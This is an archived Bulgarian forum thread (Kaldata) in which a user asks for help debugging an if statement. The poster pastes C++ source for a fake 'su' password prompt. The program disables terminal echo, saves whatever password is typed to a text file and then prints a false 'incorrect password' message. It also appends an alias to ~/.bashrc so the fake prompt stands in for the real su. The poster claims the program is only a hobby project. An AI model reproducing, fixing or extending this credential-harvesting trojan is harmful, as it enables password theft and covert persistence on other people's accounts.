Премини към съдържанието
Форумът в приложение

По-лесно сърфиране. Научи повече.

Kaldata.com - Форуми

Приложение на форума на цял екран с push известия, значки и други.

За да инсталирате това приложение на iOS и iPadOS
  1. Докоснете Иконата за споделяне в Safari
  2. Превъртете менюто и докоснете Добавяне към началния екран.
  3. Докоснете Добавяне в горния десен ъгъл.
За да инсталирате това приложение на Android
  1. Докоснете менюто с 3 точки (⋮) в горния десен ъгъл на браузъра.
  2. Докоснете Добавяне към началния екран или Инсталиране на приложение.
  3. Потвърдете, като докоснете Инсталиране.

Добре дошли!

Добре дошли в нашите форуми, пълни с полезна информация. Имате проблем с компютъра или телефона си? Публикувайте нова тема и ще намерите решение на всичките си проблеми. Общувайте свободно и открийте безброй нови приятели.

Моля, регистрирайте се за да публикувате тема и да получите пълен достъп до всички функции.

 

Проблем с един if statement

Featured Replies

Имам две функции наред с главната.Когато извикам първата функция,от нея зависи дали ще се извика втората,направил съм да връща в условието на един if 1 или 0,когато върне 1,функцията,която трябва да се извика от if,не се вика,защо се получава така?

Пробвах да сложа един стандартен изход в тялото на if преди да вика функцията,е излиза стандартен изход,значи if се изпълнява,сложих
един стандартен изход и в началото на функцията,е извиква и функцията,но останалата част от функцията не се изпълнява,когато в главната функция извикам тази втората външна тя се изпълнява без проблем,но когато я извикам чрез if,се изпълнява частично,защо се получава така?

  • Автор

Програмата ще има да се доработва,просто искам в момента да създам работещ прототип.Тъй като предполагам, всеки ще разбере, за какво иде реч като види сорса,искам да кажа че тази програма я правя с чисто любителска цел и тя няма да бъде дистрибутирана с цел компрометиране на компютарни системи.

 

 

#include <iostream>
#include <string.h>
#include <stdlib.h>
//#include <unistd.h>
//#include <stdio.h>
//#include <pwd.h>
#include <fstream>
//#include <sstream>


using namespace std;



bool isAliasWritten(string alias)
{
cout<<alias<<endl;

    string line;

char *homeDir=getenv("HOME");
strcat(homeDir,"/.bashrc");



fstream bashrc;
bashrc.open(homeDir, ios::in | ios::out | ios::app);




while ( getline(bashrc, line) )
{
     if(alias==line)
     {bashrc.close(); return 0;}

}
bashrc.close();
return 1;

}


void writeAlias(string alias)
{
cout<<"in function writeAlias"<<endl;
char *homeDir=getenv("HOME");
strcat(homeDir,"/.bashrc");


ofstream bashrc;
bashrc.open(homeDir, ios::out | ios::app);
bashrc<<endl<<alias<<endl;
bashrc.close();



}




int main(int argc, char* argv[0])
{

string alias=argv[0];


/*
bool isWritten=isAliasWritten(alias);
cout<<isWritten<<endl;
//isWritten=0;
if(isWritten)
{cout<<"if statement works"<<endl;   writeAlias(alias);}
*/

writeAlias(alias);




string parola;
fstream textfile;
textfile.open("passwordText.txt", ios::out | ios::app);


    cout<<"Password: ";
    system("stty -echo");
    cin>>parola;
    textfile<<parola<<endl;
    textfile.close();
    system("stty echo");
    cout<<endl<<"su: incorrect password"<<endl;



    return 0;
}
 

 

 

Блоковият коментар в началото на главната функция е проблемният код.

Редактирано от programprogram (преглед на промените)

Архивирана тема

Темата е твърде стара и е архивирана. Не можете да добавяте нови отговори в нея, но винаги можете да публикувате нова тема, в която да продължи дискусията. Регистрирайте се или влезте във вашия профил за да публикувате нова тема.

Разглеждащи това в момента 0

  • Няма регистрирани потребители разглеждащи тази страница.

Дарение

  • Подкрепи съществуването на форума - направи дарение
    26%
    Дарени 256.00 EUR от нужните 1,000.00 EUR

Бюлетин

Получавайте известие, когато има важна промяна или новина свързана с форума.

Профил

Навигация

Търсене

Търсене

Конфигуриране на push известия в браузъра

Chrome (Android)
  1. Докоснете иконата на катинар до адресната лента.
  2. Докоснете Разрешения → Известия.
  3. Променете предпочитанията си.
Chrome (Desktop)
  1. Кликнете върху иконата на катинар в адресната лента.
  2. Изберете Настройки на сайта.
  3. Намерете Известия и коригирайте предпочитанията си.